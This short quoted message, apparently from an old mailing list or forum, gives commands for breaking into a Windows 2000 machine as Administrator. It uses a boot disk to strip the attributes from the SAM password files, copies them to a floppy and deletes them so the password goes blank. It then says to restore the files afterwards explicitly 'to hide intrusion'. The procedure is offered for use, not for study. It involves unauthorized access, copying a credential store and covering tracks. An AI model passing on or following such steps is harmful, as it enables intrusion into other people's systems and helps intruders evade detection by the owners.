Get in windows 2000 as Administrator.

>>> NOTE: Requires a boot disk.
>
>>> Get the command prompt and go to C:\winnt\sytem32\config\ and do
the following commands:
>>> attrib -a -r -h
>>> copy sam.* a:\
>>> del Sam.*
>
>>> reboot the computer. there should be no administrator password.
just put in administrator and hit enter. replace the sam files to
restore the password to hide intrusion.